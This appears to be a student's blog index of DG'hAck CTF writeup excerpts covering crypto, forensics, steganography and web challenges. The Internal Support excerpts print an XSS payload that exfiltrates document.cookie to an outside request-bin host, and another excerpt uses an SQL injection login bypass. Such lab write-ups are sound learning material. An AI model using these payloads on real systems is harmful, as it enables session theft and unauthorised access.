DG’hAck: My Second CTF

I joined this CTF because there was a possiblity to get an internship (or a job). I think I did pretty well, ranking 1/1214 among the students, and 5 overall out of 2063 :) This was a whole lot of fun, I got to learn a ton of things, lose some sleep, and make new friends. I can’t wait for my next CTF! Here are the challenges that I completed, with links to my writeups:
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Writeup DG’hAck: Involucrypt 2

This is the second version of the involucrypt challenge. You can see my writeup of the first version here. It presents the encryption script and a simple bruteforce approach. The only thing that changed for the second version is the encrypted data, which is now 1497 bytes long. This makes the previous bruteforce attempt unusable: checking a single key takes about 50ms on my machine, and there are a lot of possible keys (since it’s 10 chars instead of 3).
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Writeup DG’hAck: Job Board

This challenge starts with a website that presents a list of jobs (once connected). Our goal is to login as an administrator. Here is the landing page: Right of the bat, we see a login link, and a contact link. The contact page seems interesting, and after toying around with some XSS payloads, we quickly find that a bot clicks on any link that is passed as a message.
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Writeup DG’hAck: Time for Something Different

This is a steganography challenge where we’re given a PCAP file. Opening it in wireshark reveals a list of identical ICMP packets. Nothing seems to be unique, except the time of each packet, that we can extract using tshark: $ tshark -r data.pcap -T fields -e frame.time_epoch 1604485685.271523000 1604485685.974534000 1604485686.737381000 1604485687.390550000 1604485688.103364000 1604485689.336651000 1604485690.500205000 1604485690.982931000 1604485691.465408000 1604485692.617796000 1604485693.701056000 1604485694.814156000 1604485695.686772000 1604485696.799993000 1604485697.943153000 1604485699.106441000 1604485699.589015000 1604485700.071611000 1604485700.754520000 1604485701.266580000 1604485702.449633000 1604485702.942506000 1604485704.054744000 1604485705.
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Writeup DG’hAck: StickItUp

When starting this challenge, we’re greeted by two forms, a login one and a registration one. Registering for an account allows us to login, which brings us to this dashboard: We’re asked to find a note created by the admin user. I started by trying a few SQLi on the login page (they didn’t work), and noticed this in the source code: <!-- $_COOKIES['auth'] = 'testuser:' . sha1(SECRET_KEY . 'testuser'); --> So the auth cookie format is username:hash, where the hash is a SHA1 of a secret plus the username.
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Writeup DG’hAck: Bwing

For this challenge, we’re given a dump.raw file, which we’re told is a memory dump. We have to find confidential data in it. First, let’s see what kind of image this is: $ volatility -f dump.raw imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.debug : Determining profile based on KDBG search... Suggested Profile(s) : No suggestion (Instantiated with no profile) AS Layer1 : FileAddressSpace (/home/vivescere/Projects/dghack/bwing/dump.raw) PAE type : No PAE None of the default profiles seem to work, we’ll have to create our own.
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Writeup DG’hAck: Sad Crypto

This challenge starts with a login page: From the description, we gather that this is a service that generates decryption keys when given a French SSN. Our goal is to get the key for this number: 1-46-85-30-750-318-37. admin/admin doesn’t seem to work, let’s try an SQLi! Entering " or 1=1 -- as the username reveals a second page: We seem to be able to enter a patient name (that we have to auto-complete), and get a decryption key: 797b4c-c4bd852fe0e32ebda194cb2a9fe00099.
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Writeup DG’hAck: Shadowmallet

This challenge starts with a file called shadowmallet. We’re asked to help an administrator whose server detected an abnormal activity. The file command doesn’t give us anything: $ file shadowmallet shadowmallet: data But searching for the first few bytes (53ff 00f0 53ff 00f0 53ff 00f0 53ff 00f0) of the file online quickly reveals it’s a memory dump. Let’s use volatility! $ volatility -f shadowmallet imageinfo Volatility Foundation Volatility Framework 2.6.1 INFO : volatility.
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Writeup DG’hAck: Gitbad

This challenge takes place on a Gitlab instance, where we have to find private data. You start by creating an account, which is automatically validated after a few seconds. Once logged in, you can do a few things, for example: create a project create a group edit your profile see the help page see public repositories Nothing seems to be particularly interesting, except for this message, on the help page:
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Writeup DG’hAck: Involucrypt 1

This writeup uses a naive approach, see my writeup of involucrypt 2 for a better solution. The challenge starts off with two files: crypt.py involucrypt1 The first one is a script that can encode a message, the second one contains crypted data. Here is the (slightly redacted) script: import itertools import operator import sys BLOCK = 150 class mersenne_rng(object): ... def keystream(seeds, length, base=None): key = base if base else [] for seed in seeds: random = mersenne_rng(seed) for _ in range(BLOCK): if len(key) == length: break key.
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Writeup DG’hAck: Walters Blog

The challenge starts with a minecraft blog: None of the pages look vulnerable. The URLs themselves don’t have any parameters, it’s just some static html (eg: /contact.html). The contact form doesn’t work: when posting something we get a 404. On that same 404 page, we can notice the apache version: Apache Tomcat/9.0.0.M1 Searching for that version on google tells us that this particular version is vulnerable to a RCE. The exploit is available on exploit database.
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Writeup DG’hAck: Server Room

This challenge starts with a file, found_in_server_room.img.gz. Let’s first try to find what this file is: $ gunzip found_in_server_room.img.gz $ file found_in_server_room.img found_in_server_room.img: DOS/MBR boot sector; partition 1 : ID=0xc, start-CHS (0x40,0,1), end-CHS (0x3ff,3,32), startsector 8192, 524288 sectors; partition 2 : ID=0x83, start-CHS (0x3ff,3,32), end-CHS (0x3ff,3,32), startsector 532480, 3072000 sectors So this is a disk image. Let’s try mounting it! $ mkdir mnt $ sudo mount found_in_server_room.img mnt NTFS signature is missing.
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Writeup DG’hAck: Up Credit

The challenge URL redirects us to an online bank. The summary tells us that we have to buy the flag for 200€! Let’s start by registering for an account. After entering our name and email, we get an account ID and a password: After logging in, we are presented with an interface that has three tabs: an activity log a money transfer form a form to contact our financial advisor Trying an XSS in the contact form quickly reveals that the bot doesn’t execute any javascript, but does click any link that is posted.
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Writeup DG’hAck: Internal Support 2

This is the second version of the ticketing system presented in the CTF. We are greeted with the exact same interface. So let’s try exactly the same payload: <svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://enx8b5ofkwzw.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we manage to steal a cookie! However, we can’t use it, as the session is ip-locked: Hmm. The challenge is quite similar to the last one, so we know that the flag is probably on the home page.
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Writeup DG’hAck: Internal Support 1

The challenge presents itself as a ticketing system. After registering for an account, we are greeted with this page : Trying a classic xss (<script>alert(1)</script>) in the message field seems to work. We know that we have to login as an admin user, so let’s try stealing the cookies : <svg onload="document.body.innerHTML=document.body.innerHTML.concat('<img src=\'https://eni7j9jobszxl.x.pipedream.net/'.concat(btoa(document.cookie)).concat('\' />'))" /> After a few seconds, we get a request on our request bin, which when decoded gives us the admin cookie :
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